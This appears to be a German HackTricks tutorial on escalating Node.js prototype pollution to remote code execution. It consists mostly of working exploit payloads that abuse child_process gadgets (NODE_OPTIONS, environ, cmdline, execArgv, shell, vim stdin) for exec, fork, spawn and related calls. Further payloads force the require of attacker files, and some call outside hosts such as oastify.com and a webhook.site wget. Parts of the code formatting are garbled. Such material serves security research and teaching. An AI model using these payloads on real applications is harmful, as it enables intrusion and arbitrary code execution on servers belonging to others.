Prototype Pollution to RCE

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Verwundbarer Code

Stellen Sie sich ein echtes JS vor, das einen Code wie den folgenden verwendet:

const { execSync, fork } = require('child_process');

function isObject(obj) {
console.log(typeof obj);
return typeof obj === 'function' || typeof obj === 'object';
}

// Function vulnerable to prototype pollution
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}

function clone(target) {
return merge({}, target);
}

// Run prototype pollution with user input
// Check in the next sections what payload put here to execute arbitrary code
clone(USERINPUT);

// Spawn process, this will call the gadget that poputales env variables
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork('a_file.js');

PP2RCE über Umgebungsvariablen

PP2RCE bedeutet Prototype Pollution to RCE (Remote Code Execution).

Laut diesem Bericht wird, wenn ein Prozess gestartet wird mit einer Methode aus child_process (wie fork oder spawn oder andere), die Methode normalizeSpawnArguments aufgerufen, die ein Prototype Pollution Gadget zum Erstellen neuer Umgebungsvariablen ist:

//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686

var env = options.env || process.env;
var envPairs = [];
[...]
let envKeys = [];
// Prototype values are intentionally included.
for (const key in env) {
ArrayPrototypePush(envKeys, key);
}
[...]
for (const key of envKeys) {
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}

Überprüfen Sie diesen Code, Sie können sehen, dass es möglich ist, envPairs einfach durch Vergiftung des Attributs .env zu vergiften.

Vergiftung von __proto__

Beachten Sie, dass aufgrund der Funktionsweise der Funktion normalizeSpawnArguments aus der Bibliothek child_process von Node, wenn etwas aufgerufen wird, um eine neue Umgebungsvariable für den Prozess festzulegen, Sie nur irgendetwas vergiften müssen. Wenn Sie beispielsweise __proto__.avar="valuevar" ausführen, wird der Prozess mit einer Variable namens avar mit dem Wert valuevar gestartet.

Damit die Umgebungsvariable die erste ist, die Sie benötigen, um das .env-Attribut zu vergiften, und (nur in einigen Methoden) wird diese Variable die erste sein (was den Angriff ermöglicht).

Deshalb ist NODE_OPTIONS nicht im .env in folgendem Angriff enthalten.

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"

// Trigger gadget
var proc = fork('./a_file.js');
// This should create the file /tmp/pp2rec


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce\\\").toString())//"}}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec

DNS-Interaktion

Mit den folgenden Payloads ist es möglich, die NODE_OPTIONS-Umgebungsvariable zu missbrauchen, über die wir zuvor gesprochen haben, und zu erkennen, ob dies mit einer DNS-Interaktion funktioniert hat:

{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id.oastify.com"
}
}

Oder, um WAFs daran zu hindern, nach der Domain zu fragen:

{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id\"\".oastify\"\".com"
}
}

PP2RCE Schwachstelle bei den child_process Funktionen

In diesem Abschnitt werden wir jede Funktion von child_process analysieren, um Code auszuführen und zu sehen, ob wir eine Technik verwenden können, um diese Funktion dazu zu zwingen, Code auszuführen:

exec Ausnutzung

```javascript // environ trick - not working // It's not possible to pollute the .env attr to create a first env var // because options.env is null (not undefined)

// cmdline trick - working with small variation // Working after kEmptyObject (fix) const { exec } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = exec('something');

// stdin trick - not working // Not using stdin

// Windows // Working after kEmptyObject (fix) const { exec } = require('child_process'); p = {} p.proto.shell = "\\127.0.0.1\C$\Windows\System32\calc.exe" var proc = exec('something');

</details>

<details>

<summary><strong><code>execFile</code> Ausnutzung</strong></summary>
```javascript
// environ trick - not working
// It's not possible to pollute the .en attr to create a first env var

// cmdline trick - working with a big requirement
// Working after kEmptyObject (fix)
const { execFile } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFile('/usr/bin/node');

// stdin trick - not working
// Not using stdin

// Windows - not working

Für execFile um zu funktionieren, MUSS node ausgeführt werden, damit die NODE_OPTIONS funktionieren. Wenn es nicht node ausführt, musst du herausfinden, wie du die Ausführung von dem, was es ausführt, mit Umgebungsvariablen ändern und sie setzen kannst.

Die anderen Techniken funktionieren ohne diese Anforderung, weil es möglich ist zu ändern, was ausgeführt wird über die Prototypenverunreinigung. (In diesem Fall, selbst wenn du .shell verunreinigen kannst, wirst du nicht das verunreinigen, was ausgeführt wird).

fork Ausnutzung

```javascript // environ trick - working // Working after kEmptyObject (fix) const { fork } = require('child_process'); b = {} b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//"} b.__proto__.NODE_OPTIONS = "--require /proc/self/environ" var proc = fork('something');

// cmdline trick - working // Working after kEmptyObject (fix) const { fork } = require('child_process'); p = {} p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = fork('something');

// stdin trick - not working // Not using stdin

// execArgv trick - working // Only the fork method has this attribute // Working after kEmptyObject (fix) const { fork } = require('child_process'); b = {} b.proto.execPath = "/bin/sh" b.proto.argv0 = "/bin/sh" b.proto.execArgv = ["-c", "touch /tmp/fork-execArgv"] var proc = fork('./a_file.js');

// Windows // Working after kEmptyObject (fix) const { fork } = require('child_process'); b = {} b.proto.execPath = "\\127.0.0.1\C$\Windows\System32\calc.exe" var proc = fork('./a_file.js');

</details>

<details>

<summary><strong><code>spawn</code> Ausnutzung</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// stdin trick - not working
// Not using stdin

// Windows
// NOT working after require(fix) without options
const { spawn } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
execFileSync Ausnutzung

```javascript // environ trick - working with small variation (shell and argv0) // Working after kEmptyObject (fix) const { execFileSync } = require('child_process'); p = {} // If in windows or mac you need to change the following params to the path of ndoe p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//"} p.__proto__.NODE_OPTIONS = "--require /proc/self/environ" var proc = execFileSync('something');

// cmdline trick - working with small variation (shell) // Working after kEmptyObject (fix) const { execFileSync } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = execFileSync('something');

// stdin trick - working // Working after kEmptyObject (fix) const { execFileSync } = require('child_process'); p = {} p.proto.argv0 = "/usr/bin/vim" p.proto.shell = "/usr/bin/vim" p.proto.input = ':!{touch /tmp/execFileSync-stdin}\n' var proc = execFileSync('something');

// Windows // Working after kEmptyObject (fix) const { execSync } = require('child_process'); p = {} p.proto.shell = "\\127.0.0.1\C$\Windows\System32\calc.exe" p.proto.argv0 = "\\127.0.0.1\C$\Windows\System32\calc.exe" var proc = execSync('something');

</details>

<details>

<summary><strong><code>execSync</code> Ausnutzung</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execSync('something');

// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execSync('something');

// stdin trick - working
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/execSync-stdin}\n'
var proc = execSync('something');

// Windows
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync('something');
spawnSync Ausnutzung

```javascript // environ trick - working with small variation (shell and argv0) // NOT working after kEmptyObject (fix) without options const { spawnSync } = require('child_process'); p = {} // If in windows or mac you need to change the following params to the path of node p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//"} p.__proto__.NODE_OPTIONS = "--require /proc/self/environ" var proc = spawnSync('something'); //var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// cmdline trick - working with small variation (shell) // NOT working after kEmptyObject (fix) without options const { spawnSync } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = spawnSync('something'); //var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// stdin trick - working // NOT working after kEmptyObject (fix) without options const { spawnSync } = require('child_process'); p = {} p.proto.argv0 = "/usr/bin/vim" p.proto.shell = "/usr/bin/vim" p.proto.input = ':!{touch /tmp/spawnSync-stdin}\n' var proc = spawnSync('something'); //var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// Windows // NOT working after require(fix) without options const { spawnSync } = require('child_process'); p = {} p.proto.shell = "\\127.0.0.1\C$\Windows\System32\calc.exe" var proc = spawnSync('something'); //var proc = spawnSync('something',[],{"cwd":"C:\"}); //To work after kEmptyObject (fix)


</div>

</details>

## Erzwingen von Spawn

In den vorherigen Beispielen haben Sie gesehen, wie Sie die Gadget-Funktionalität auslösen können, die `spawn` aufruft, wenn eine Funktionalität vorhanden sein muss (alle Methoden von `child_process`, die verwendet werden, um etwas auszuführen, rufen sie auf). In dem vorherigen Beispiel war das Teil des Codes, aber was ist, wenn der Code es nicht aufruft.

### Steuerung eines require-Dateipfads

In diesem [**anderen Bericht**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) kann der Benutzer den Dateipfad steuern, an dem ein `require` ausgeführt wird. In diesem Szenario muss der Angreifer nur eine `.js`-Datei im System finden, die eine Spawn-Methode ausführt, wenn sie importiert wird. Einige Beispiele für häufige Dateien, die eine Spawn-Funktion aufrufen, wenn sie importiert werden, sind:

* /path/to/npm/scripts/changelog.js
* /opt/yarn-v1.22.19/preinstall.js
* Weitere Dateien unten finden

Das folgende einfache Skript sucht nach Aufrufen von `child_process` ohne jegliche Polsterung (um Aufrufe innerhalb von Funktionen zu vermeiden):

<div data-gb-custom-block data-tag="code" data-overflow='wrap'>

```bash
find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.

Festlegen des Dateipfads über die Prototyp-Verschmutzung

Die vorherige Technik erfordert, dass der Benutzer den Pfad der Datei kontrolliert, die benötigt wird. Aber das ist nicht immer der Fall.

Wenn der Code jedoch nach der Prototyp-Verschmutzung ein require ausführt, selbst wenn Sie den Pfad, der benötigt wird, nicht kontrollieren, können Sie einen anderen erzwingen, indem Sie die Prototyp-Verschmutzung missbrauchen. Selbst wenn die Codezeile also require("./a_file.js") oder require("bytes") lautet, wird das von Ihnen verschmutzte Paket benötigt.

Daher ist dies der Angriff, wenn nach Ihrer Prototyp-Verschmutzung ein require ausgeführt wird und keine Spawn-Funktion vorhanden ist:

  • Finden Sie eine .js-Datei im System, die etwas mit child_process ausführt, wenn sie benötigt wird

  • Wenn Sie Dateien auf die Plattform hochladen können, die Sie angreifen, könnten Sie eine solche Datei hochladen

  • Verschmutzen Sie die Pfade, um das Laden der .js-Datei zu erzwingen, die etwas mit child_process ausführt

  • Verschmutzen Sie die Umgebungs-/Befehlszeile, um beliebigen Code auszuführen, wenn eine child_process-Ausführungsfunktion aufgerufen wird (siehe die anfänglichen Techniken)

Absolutes require

Wenn das durchgeführte require absolut ist (require("bytes")) und das Paket kein Hauptattribut in der package.json-Datei enthält, können Sie das main-Attribut verschmutzen und das require dazu bringen, eine andere Datei auszuführen.

// Create a file called malicious.js in /tmp// Contents of malicious.js in the other tab// Install package bytes (it doesn't have a main in package.json)// npm install bytes// Manual Pollutionb = {}b.__proto__.main = "/tmp/malicious.js"// Trigger gadgetvar proc = require('bytes');// This should execute the file /tmp/malicious.js// The relative path doesn't even need to exist// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_absolute\\\").toString())//"}}')clone(USERINPUT);var proc = require('bytes');// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2recconst { fork } = require('child_process');console.log("Hellooo from malicious");fork("anything");

Relativer require - 1

Wenn anstelle eines absoluten Pfads ein relativer Pfad geladen wird, können Sie Node dazu bringen, einen anderen Pfad zu laden:

// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.exports = { ".": "./malicious.js" }
b.__proto__["1"] = "/tmp"

// Trigger gadget
var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_1\\\").toString())//"}}')

clone(USERINPUT);

var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

const { fork } = require('child_process');
console.log("Hellooo from malicious");
fork('/path/to/anything');

Relativer Bedarf - 2

// Create a file called malicious.js in /tmp// Contents of malicious.js in the other tab// Manual Pollutionb = {}b.__proto__.data = {}b.__proto__.data.exports = { ".": "./malicious.js" }b.__proto__.path = "/tmp"b.__proto__.name = "./relative_path.js" //This needs to be the relative path that will be imported in the require// Trigger gadgetvar proc = require('./relative_path.js');// This should execute the file /tmp/malicious.js// The relative path doesn't even need to exist// Abusing the vulnerable codeUSERINPUT = JSON.parse('{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_path\\\").toString())//"}}')clone(USERINPUT);var proc = require('./relative_path.js');// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2recconst { fork } = require('child_process');console.log("Hellooo from malicious");fork('/path/to/anything');

Relativer Bedarf - 3

Ähnlich wie zuvor wurde dies in diesem Bericht gefunden.

// Requiring /opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = {
exports: {
".": "./preinstall.js"
},
name: './usage'
}
Object.prototype["path"] = '/opt/yarn-v1.22.19'
Object.prototype.shell = "node"
Object.prototype["npm_config_global"] = 1
Object.prototype.env = {
"NODE_DEBUG": "console.log(require('child_process').execSync('wget${IFS}https://webhook.site?q=2').toString());process.exit()//",
"NODE_OPTIONS": "--require=/proc/self/environ"
}

require('./usage.js')

VM-Geräte

Im Paper https://arxiv.org/pdf/2207.11171.pdf wird auch darauf hingewiesen, dass die Kontrolle von contextExtensions aus einigen Methoden der vm-Bibliothek als Gadget verwendet werden könnte. Jedoch wurde es, wie bei den vorherigen child_process-Methoden, in den neuesten Versionen behoben.

Fixes & Unerwarteter Schutz

Bitte beachten Sie, dass die Prototyp-Verschmutzung funktioniert, wenn das Attribut eines Objekts, auf das zugegriffen wird, undefined ist. Wenn in dem Code dieses Attribut einen Wert erhält, können Sie es nicht überschreiben.

Im Juni 2022 wurde in diesem Commit die Variable options anstelle von {} zu einem kEmptyObject geändert. Dies verhindert eine Prototyp-Verschmutzung, die die Attribute von options beeinflussen könnte, um RCE zu erlangen. Zumindest ab v18.4.0 wurde dieser Schutz implementiert, und daher funktionieren die spawn- und spawnSync-Exploits, die die Methoden beeinflussen, nicht mehr (wenn keine options verwendet werden!).

In diesem Commit wurde die Prototyp-Verschmutzung von contextExtensions aus der vm-Bibliothek ebenfalls irgendwie behoben, indem die Optionen auf kEmptyObject anstelle von {} gesetzt wurden.

Andere Gadgets

Referenzen

Last updated